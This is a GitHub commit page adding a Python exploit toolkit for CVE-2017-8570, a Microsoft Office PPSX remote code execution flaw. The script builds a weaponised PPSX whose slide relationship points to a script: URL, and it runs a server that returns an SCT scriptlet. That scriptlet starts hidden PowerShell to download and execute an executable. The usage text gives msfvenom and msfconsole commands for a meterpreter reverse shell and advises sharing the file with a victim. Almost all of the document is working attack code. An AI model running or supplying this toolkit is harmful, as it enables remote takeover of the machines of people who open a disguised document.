Skip to content

Commit 84f2d9b

Browse files
author
tezukanice
authoredAug 13, 2017
Add files via upload
1 parent 36429e2 commit 84f2d9b

File tree

1 file changed

+377
-0
lines changed

1 file changed

+377
-0
lines changed
 

‎cve-2017-8570_toolkit.py

+377
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,377 @@
1+
#!/usr/bin/env python
2+
'''
3+
4+
## Exploit toolkit CVE-2017-8570 - v1.0 (https://github.com/bhdresh/CVE-2017-8570) ##
5+
6+
7+
8+
### Scenario 1: Deliver local payload
9+
10+
Example commands
11+
12+
1) Generate malicious PPSX file
13+
# python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.56.1/logo.doc
14+
2) (Optional, if using MSF Payload) : Generate metasploit payload and start handler
15+
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
16+
# msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
17+
3) Start toolkit in exploit mode to deliver local payload
18+
# python cve-2017-8570_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe
19+
20+
### Scenario 2: Deliver Remote payload
21+
22+
Example commands
23+
24+
1) Generate malicious PPSX file
25+
# python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.56.1/logo.doc
26+
2) Start toolkit in exploit mode to deliver remote payload
27+
# python cve-2017-8570_toolkit.py -M exp -e http://remoteserver.com/shell.exe
28+
29+
30+
Scenario 3: Deliver custom SCT file
31+
32+
Example commands
33+
34+
1) Generate malicious PPSX file
35+
# python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.56.1/logo.doc
36+
2) Start toolkit in exploit mode to deliver custom SCT file
37+
# python cve-2017-8570_toolkit.py -M exp -H /tmp/custom.sct
38+
39+
40+
### Command line arguments:
41+
42+
# python cve-2017-8570_toolkit.py -h
43+
44+
This is a handy toolkit to exploit CVE-2017-8570 (Microsoft Office PPSX RCE)
45+
46+
Modes:
47+
48+
-M gen Generate Malicious PPSX file only
49+
50+
Generate malicious PPSX file:
51+
52+
-w <Filename.ppsx> Name of malicious PPSX file (Share this file with victim).
53+
54+
-u <http://attacker.com/test.sct> The path to an SCT file. Normally, this should be a domain or IP where this tool is running.
55+
56+
For example, http://attackerip.com/test.sct (This URL will be included in malicious PPSX file and
57+
58+
will be requested once victim will open malicious PPSX file.
59+
60+
61+
62+
-M exp Start exploitation mode
63+
64+
Exploitation:
65+
66+
-H </tmp/custom.sct> Local path of a custom SCT file which needs to be delivered and executed on target.
67+
NOTE: This option will not deliver payloads specified through options "-e" and "-l".
68+
69+
-p <TCP port:Default 80> Local port number.
70+
71+
-e <http://attacker.com/shell.exe> The path of an executable file / meterpreter shell / payload which needs to be executed on target.
72+
73+
-l </tmp/shell.exe> If payload is hosted locally, specify local path of an executable file / meterpreter shell / payload.
74+
75+
76+
'''
77+
78+
import os,sys,thread,socket,sys,getopt,binascii,shutil,tempfile
79+
from random import randint
80+
from random import choice
81+
from string import ascii_uppercase
82+
from zipfile import ZipFile, ZIP_STORED, ZipInfo
83+
84+
85+
BACKLOG = 50 # how many pending connections queue will hold
86+
MAX_DATA_RECV = 999999 # max number of bytes we receive at once
87+
DEBUG = True # set to True to see the debug msgs
88+
def main(argv):
89+
# Host and Port information
90+
global port
91+
global host
92+
global filename
93+
global docuri
94+
global payloadurl
95+
global payloadlocation
96+
global customsct
97+
global mode
98+
global obfuscate
99+
filename = ''
100+
docuri = ''
101+
payloadurl = ''
102+
payloadlocation = ''
103+
customsct = ''
104+
port = int("80")
105+
host = ''
106+
mode = ''
107+
obfuscate = int("0")
108+
# Capture command line arguments
109+
try:
110+
opts, args = getopt.getopt(argv,"hM:w:u:p:e:l:H:x:",["mode=","filename=","docuri=","port=","payloadurl=","payloadlocation=","customsct=","obfuscate="])
111+
except getopt.GetoptError:
112+
print 'Usage: python '+sys.argv[0]+' -h'
113+
sys.exit(2)
114+
for opt, arg in opts:
115+
if opt == '-h':
116+
print "\nThis is a handy toolkit to exploit CVE-2017-8570 (Microsoft Word PPSX RCE)\n"
117+
print "Modes:\n"
118+
print " -M gen Generate Malicious PPSX file only\n"
119+
print " Generate malicious PPSX file:\n"
120+
print " -w <Filename.ppsx> Name of malicious PPSX file (Share this file with victim).\n"
121+
print " -u <http://attacker.com/test.sct> The path to an SCT file. Normally, this should be a domain or IP where this tool is running.\n"
122+
print " For example, http://attackerip.com/test.sct (This URL will be included in malicious PPSX file and\n"
123+
print " will be requested once victim will open malicious PPSX file.\n"
124+
print " -M exp Start exploitation mode\n"
125+
print " Exploitation:\n"
126+
print " -H </tmp/custom.sct> Local path of a custom SCT file which needs to be delivered and executed on target.\n"
127+
print " NOTE: This option will not deliver payloads specified through options \"-e\" and \"-l\".\n"
128+
print " -p <TCP port:Default 80> Local port number.\n"
129+
print " -e <http://attacker.com/shell.exe> The path of an executable file / meterpreter shell / payload which needs to be executed on target.\n"
130+
print " -l </tmp/shell.exe> If payload is hosted locally, specify local path of an executable file / meterpreter shell / payload.\n"
131+
sys.exit()
132+
elif opt in ("-M","--mode"):
133+
mode = arg
134+
elif opt in ("-w", "--filename"):
135+
filename = arg
136+
elif opt in ("-u", "--docuri"):
137+
docuri = arg
138+
elif opt in ("-p", "--port"):
139+
port = int(arg)
140+
elif opt in ("-e", "--payloadurl"):
141+
payloadurl = arg
142+
elif opt in ("-l", "--payloadlocation"):
143+
payloadlocation = arg
144+
elif opt in ("-H","--customsct"):
145+
customsct = arg
146+
if "gen" in mode:
147+
if (len(filename)<1):
148+
print 'Usage: python '+sys.argv[0]+' -h'
149+
sys.exit()
150+
if (len(docuri)<1):
151+
print 'Usage: python '+sys.argv[0]+' -h'
152+
sys.exit()
153+
generate_exploit_ppsx()
154+
mode = 'Finished'
155+
if "exp" in mode:
156+
if (len(customsct)>1):
157+
print "Running exploit mode (Deliver Custom SCT) - waiting for victim to connect"
158+
exploitation()
159+
sys.exit()
160+
if (len(payloadurl)<1):
161+
print 'Usage: python '+sys.argv[0]+' -h'
162+
sys.exit()
163+
if (len(payloadurl)>1 and len(payloadlocation)<1):
164+
print "Running exploit mode (Deliver SCT with remote payload) - waiting for victim to connect"
165+
exploitation()
166+
sys.exit()
167+
print "Running exploit mode (Deliver SCT + Local Payload) - waiting for victim to connect"
168+
exploitation()
169+
mode = 'Finished'
170+
if not "Finished" in mode:
171+
print 'Usage: python '+sys.argv[0]+' -h'
172+
sys.exit()
173+
def generate_exploit_ppsx():
174+
# Preparing malicious PPSX
175+
shutil.copy2('template/template.ppsx', filename)
176+
class UpdateableZipFile(ZipFile):
177+
"""
178+
Add delete (via remove_file) and update (via writestr and write methods)
179+
To enable update features use UpdateableZipFile with the 'with statement',
180+
Upon __exit__ (if updates were applied) a new zip file will override the exiting one with the updates
181+
"""
182+
183+
class DeleteMarker(object):
184+
pass
185+
186+
def __init__(self, file, mode="r", compression=ZIP_STORED, allowZip64=False):
187+
# Init base
188+
super(UpdateableZipFile, self).__init__(file, mode=mode,
189+
compression=compression,
190+
allowZip64=allowZip64)
191+
# track file to override in zip
192+
self._replace = {}
193+
# Whether the with statement was called
194+
self._allow_updates = False
195+
196+
def writestr(self, zinfo_or_arcname, bytes, compress_type=None):
197+
if isinstance(zinfo_or_arcname, ZipInfo):
198+
name = zinfo_or_arcname.filename
199+
else:
200+
name = zinfo_or_arcname
201+
# If the file exits, and needs to be overridden,
202+
# mark the entry, and create a temp-file for it
203+
# we allow this only if the with statement is used
204+
if self._allow_updates and name in self.namelist():
205+
temp_file = self._replace[name] = self._replace.get(name,
206+
tempfile.TemporaryFile())
207+
temp_file.write(bytes)
208+
# Otherwise just act normally
209+
else:
210+
super(UpdateableZipFile, self).writestr(zinfo_or_arcname,
211+
bytes, compress_type=compress_type)
212+
213+
def write(self, filename, arcname=None, compress_type=None):
214+
arcname = arcname or filename
215+
# If the file exits, and needs to be overridden,
216+
# mark the entry, and create a temp-file for it
217+
# we allow this only if the with statement is used
218+
if self._allow_updates and arcname in self.namelist():
219+
temp_file = self._replace[arcname] = self._replace.get(arcname,
220+
tempfile.TemporaryFile())
221+
with open(filename, "rb") as source:
222+
shutil.copyfileobj(source, temp_file)
223+
# Otherwise just act normally
224+
else:
225+
super(UpdateableZipFile, self).write(filename,
226+
arcname=arcname, compress_type=compress_type)
227+
228+
def __enter__(self):
229+
# Allow updates
230+
self._allow_updates = True
231+
return self
232+
233+
def __exit__(self, exc_type, exc_val, exc_tb):
234+
# call base to close zip file, organically
235+
try:
236+
super(UpdateableZipFile, self).__exit__(exc_type, exc_val, exc_tb)
237+
if len(self._replace) > 0:
238+
self._rebuild_zip()
239+
finally:
240+
# In case rebuild zip failed,
241+
# be sure to still release all the temp files
242+
self._close_all_temp_files()
243+
self._allow_updates = False
244+
245+
def _close_all_temp_files(self):
246+
for temp_file in self._replace.itervalues():
247+
if hasattr(temp_file, 'close'):
248+
temp_file.close()
249+
250+
def remove_file(self, path):
251+
self._replace[path] = self.DeleteMarker()
252+
253+
def _rebuild_zip(self):
254+
tempdir = tempfile.mkdtemp()
255+
try:
256+
temp_zip_path = os.path.join(tempdir, 'new.zip')
257+
with ZipFile(self.filename, 'r') as zip_read:
258+
# Create new zip with assigned properties
259+
with ZipFile(temp_zip_path, 'w', compression=self.compression,
260+
allowZip64=self._allowZip64) as zip_write:
261+
for item in zip_read.infolist():
262+
# Check if the file should be replaced / or deleted
263+
replacement = self._replace.get(item.filename, None)
264+
# If marked for deletion, do not copy file to new zipfile
265+
if isinstance(replacement, self.DeleteMarker):
266+
del self._replace[item.filename]
267+
continue
268+
# If marked for replacement, copy temp_file, instead of old file
269+
elif replacement is not None:
270+
del self._replace[item.filename]
271+
# Write replacement to archive,
272+
# and then close it (deleting the temp file)
273+
replacement.seek(0)
274+
data = replacement.read()
275+
replacement.close()
276+
else:
277+
data = zip_read.read(item.filename)
278+
zip_write.writestr(item, data)
279+
# Override the archive with the updated one
280+
shutil.move(temp_zip_path, self.filename)
281+
finally:
282+
shutil.rmtree(tempdir)
283+
284+
with UpdateableZipFile(filename, "a") as o:
285+
o.writestr("ppt/slides/_rels/slide1.xml.rels", "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\
286+
<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"><Relationship Id=\"rId3\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject\" Target=\"script:"+docuri+"\" TargetMode=\"External\"/><Relationship Id=\"rId2\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout\" Target=\"../slideLayouts/slideLayout1.xml\"/><Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/vmlDrawing\" Target=\"../drawings/vmlDrawing1.vml\"/></Relationships>")
287+
print "Generated "+filename+" successfully"
288+
289+
def exploitation():
290+
291+
print "Server Running on ",host,":",port
292+
293+
try:
294+
# create a socket
295+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
296+
297+
# associate the socket to host and port
298+
s.bind((host, port))
299+
300+
# listenning
301+
s.listen(BACKLOG)
302+
303+
except socket.error, (value, message):
304+
if s:
305+
s.close()
306+
print "Could not open socket:", message
307+
sys.exit(1)
308+
309+
# get the connection from client
310+
while 1:
311+
conn, client_addr = s.accept()
312+
313+
# create a thread to handle request
314+
thread.start_new_thread(server_thread, (conn, client_addr))
315+
316+
s.close()
317+
318+
def server_thread(conn, client_addr):
319+
320+
# get the request from browser
321+
try:
322+
request = conn.recv(MAX_DATA_RECV)
323+
if (len(request) > 0):
324+
# parse the first line
325+
first_line = request.split('\n')[0]
326+
327+
# get method
328+
method = first_line.split(' ')[0]
329+
# get url
330+
try:
331+
url = first_line.split(' ')[1]
332+
except IndexError:
333+
print "Invalid request from "+client_addr[0]
334+
conn.close()
335+
sys.exit(1)
336+
# check if custom SCT flag is set
337+
if (len(customsct)>1):
338+
print "Received request for custom SCT from "+client_addr[0]
339+
try:
340+
size = os.path.getsize(customsct)
341+
except OSError:
342+
print "Unable to read custom SCT file - "+customsct
343+
conn.close()
344+
sys.exit(1)
345+
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/scriptlet\r\n\r\n"
346+
with open(customsct) as fin:
347+
data +=fin.read()
348+
conn.send(data)
349+
conn.close()
350+
sys.exit(1)
351+
conn.close()
352+
sys.exit(1)
353+
check_exe_request = url.find('.exe')
354+
if (check_exe_request > 0):
355+
print "Received request for payload from "+client_addr[0]
356+
try:
357+
size = os.path.getsize(payloadlocation)
358+
except OSError:
359+
print "Unable to read"+payloadlocation
360+
conn.close()
361+
sys.exit(1)
362+
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n"
363+
with open(payloadlocation) as fin:
364+
data +=fin.read()
365+
conn.send(data)
366+
conn.close()
367+
sys.exit(1)
368+
if method in ['GET', 'get']:
369+
print "Received GET method from "+client_addr[0]
370+
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 1000\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/scriptlet\r\n\r\n<?XML version=\"1.0\"?>\r\n<package>\r\n<component id='giffile'>\r\n<registration\r\n description='Dummy'\r\n progid='giffile'\r\n version='1.00'\r\n remotable='True'>\r\n</registration>\r\n<script language='JScript'>\r\n<![CDATA[\r\n new ActiveXObject('WScript.shell').exec('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\\'"+payloadurl+"\\', \\'c:/windows/temp/shell.exe\\'); c:/windows/temp/shell.exe');\r\n]]>\r\n</script>\r\n</component>\r\n</package>\r\n"
371+
conn.send(data)
372+
conn.close()
373+
sys.exit(1)
374+
except socket.error, ex:
375+
print ex
376+
if __name__ == '__main__':
377+
main(sys.argv[1:])

0 commit comments

Comments
 (0)
Please sign in to comment.